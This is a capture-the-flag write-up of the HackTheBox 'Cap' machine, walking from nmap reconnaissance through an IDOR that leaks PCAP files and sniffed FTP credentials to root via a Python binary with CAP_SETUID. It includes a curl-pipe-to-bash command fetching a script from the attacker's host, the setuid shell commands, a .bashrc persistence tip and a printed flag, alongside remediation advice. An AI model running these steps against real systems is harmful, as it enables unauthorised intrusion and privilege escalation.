HTB Cap: IDOR to Root

HackTheBox’s Cap machine is an easy-rated Linux box that demonstrates several fundamental security vulnerabilities: Insecure Direct Object Reference (IDOR), cleartext credential transmission, and misconfigured SUID binaries. This writeup walks through the complete exploitation chain from initial reconnaissance to root access.

Initial Reconnaissance

I started by scanning the target with nmap from my Kali box:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sS --top-ports 50 -n -g 53 -Pn $target

What these flags mean:

• -sS is a SYN (“half-open”) scan: it sends SYN, waits for SYN/ACK, then sends RST instead of completing the handshake
• --top-ports 50 scans the 50 most common ports
• -n disables DNS resolution
• -g 53 sets the source port to 53 (useful to test firewall rules that allow DNS traffic)
• -Pn skips host discovery and treats the host as up

Note: -sS doesn't mean invisible - modern IDS/IPS and stateful firewalls will still detect SYN scans. This is about shaping traffic patterns, not true stealth.

The scan revealed three open ports:

FTP Enumeration

I attempted anonymous FTP access:

ftp $target

The server identified itself as vsFTPd 3.0.3, but anonymous login was rejected:

vsFTPd 3.0.3 didn’t show any trivial remote exploits from the banner. I intentionally avoided -sC in nmap because -sC runs default NSE scripts and can be louder - it leaves more script-driven interactions in logs. If you’re trying to be quiet in a CTF, prefer targeted probes and manual checks.

Web Application Analysis

Next, I poked the web interface. I checked the network status page and looked for externally bound sockets (0.0.0.0), then compared what I saw with the nmap results - nothing new there. After checking the interface with ip a and ip route to confirm the local view, I started fuzzing URLs.

Discovering the IDOR Vulnerability

I found a page that served packet captures at /data/<number>. This looked promising, so I tried /data/0 and successfully downloaded a PCAP file.

This is a textbook Insecure Direct Object Reference (IDOR) - the application served objects by ID without proper authorization checks. I could enumerate IDs and download whatever the server exposed.

Security Classification:

• CWE-639: Authorization Bypass Through User-Controlled Key
• Reference: https://cwe.mitre.org/data/definitions/639.html
• Practical IDOR guide: https://portswigger.net/web-security/access-control/idor

PCAP Analysis

I opened the downloaded PCAP in Wireshark and immediately saw HTTP and FTP traffic. FTP is plaintext - credentials and file lists show up raw, which makes credential sniffing trivial if you can capture the traffic.

Following the TCP stream revealed the credentials in cleartext:

Security Classification:

• CWE-319: Cleartext Transmission of Sensitive Information
• Reference: https://cwe.mitre.org/data/definitions/319.html
• Fix: Use SFTP or FTPS instead of plain FTP

Initial Access

With the recovered FTP credentials, I connected and grabbed the user flag:

ftp 10.10.10.245
# login with recovered creds
get user.txt
quit

Note: .bashrc can be used for persistence by executing malware or spawning a reverse shell on system logon. If you have write access to a user's home directory, modifying .bashrc is a common persistence technique.

I then used the same credentials for SSH access and it worked:

ssh nathan@10.10.10.245

Privilege Escalation

Back on my Kali machine, I prepared linpeas for privilege escalation enumeration:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000 --bind 10.10.14.164

Serving with --bind avoids accidental exposure on the wrong interface. Always specify which interface to bind to in security assessments.

On the target, I fetched and executed linpeas:

curl -sS http://10.10.14.164:8000/linpeas.sh | bash

Warning: curl | bash is convenient in labs, but in real assessments you should always download and inspect scripts before running them.

Finding the Privilege Escalation Vector

Understanding SUID Privilege Escalation

SUID (Set User ID) is a Linux permission that allows users to execute a file with the permissions of the file owner, not the user running it. When a binary has the SUID bit set and is owned by root, any user executing it gains root privileges temporarily.

This maps to MITRE ATT&CK T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

• Reference: https://attack.mitre.org/techniques/T1548/001/

Attackers exploit misconfigured SUID binaries or Linux capabilities to escalate privileges. Common targets include:

• Binaries with unnecessary SUID permissions (e.g., find, vim, python)
• Binaries with Linux capabilities like CAP_SETUID (allows changing UID to any value, including 0/root)

During enumeration, linpeas highlighted SUID binaries and capabilities:

An interactive Python session appeared in the output with interesting capabilities. I tested it:

nathan@htb$ python3
>>> import os
>>> os.system('whoami')
nathan
0
>>> os.setuid(0)
>>> os.system('whoami')
root
0
>>> os.system('sh')
# cd /root
# ls
root.txt  snap
# cat /root/root.txt
ad08d9ff820881a77ad7fcd8d60da9dd

What happened here? The os.setuid(0) call succeeded, indicating the Python process had the CAP_SETUID capability. This capability allows a process to change its user ID to any value, including 0 (root). Once I called setuid(0), all subsequent commands ran as root.

Vulnerability Summary

Vulnerabilities Exploited

1. IDOR (CWE-639): /data/<id> endpoint served packet captures without authorization checks

   • Impact: Information disclosure, access to sensitive network traffic
   • Reference: https://cwe.mitre.org/data/definitions/639.html

2. Cleartext Transmission (CWE-319): FTP credentials transmitted in plaintext

   • Impact: Credential theft through network sniffing
   • Reference: https://cwe.mitre.org/data/definitions/319.html

3. Privilege Escalation via Linux Capabilities: Python binary with CAP_SETUID capability

   • MITRE ATT&CK: T1548.001 - Setuid and Setgid
   • Reference: https://attack.mitre.org/techniques/T1548/001/
   • Impact: Complete system compromise
   • Tool: linpeas enumeration

Attack Chain Summary

1. nmap reconnaissance → discovered FTP, SSH, HTTP
2. Web enumeration → found /data/<id> endpoint
3. IDOR exploitation → downloaded PCAP file
4. PCAP analysis → extracted FTP credentials
5. FTP/SSH access → obtained user flag
6. Enumeration with linpeas → identified Python with CAP_SETUID
7. Python setuid(0) → privilege escalation to root
8. Root access → captured root flag

Remediation Recommendations

Critical

1. Fix IDOR vulnerability: Implement proper authorization checks for the /data/<id> endpoint

   • Validate user permissions before serving objects
   • Use session-based access control, not just URL parameters
   • Consider using UUIDs instead of sequential IDs

2. Remove plaintext protocols: Disable FTP or enforce FTPS/SFTP

   • FTP transmits credentials in cleartext
   • Modern alternatives like SFTP provide encryption
   • Monitor network for cleartext protocol usage

3. Audit Linux capabilities: Remove unnecessary capabilities from binaries

   • Python should not have CAP_SETUID
   • Use getcap -r / 2>/dev/null to audit capabilities
   • Apply principle of least privilege

Monitoring

1. Monitor for unusual scanning behavior (SYN floods, half-open connections)
2. Alert on access to sequential /data/<id> URLs (potential IDOR enumeration)
3. Detect privilege escalation attempts (sudden UID changes)
4. Log and review SUID binary executions

Lessons Learned

This box demonstrates how multiple minor vulnerabilities can chain together to achieve complete system compromise:

• An IDOR vulnerability alone might seem low-impact
• Cleartext protocols in internal networks are often overlooked
• Misconfigured Linux capabilities can lead to trivial privilege escalation

Defense in depth matters. Each vulnerability was minor on its own, but together they provided a complete attack path from unauthenticated access to root privileges.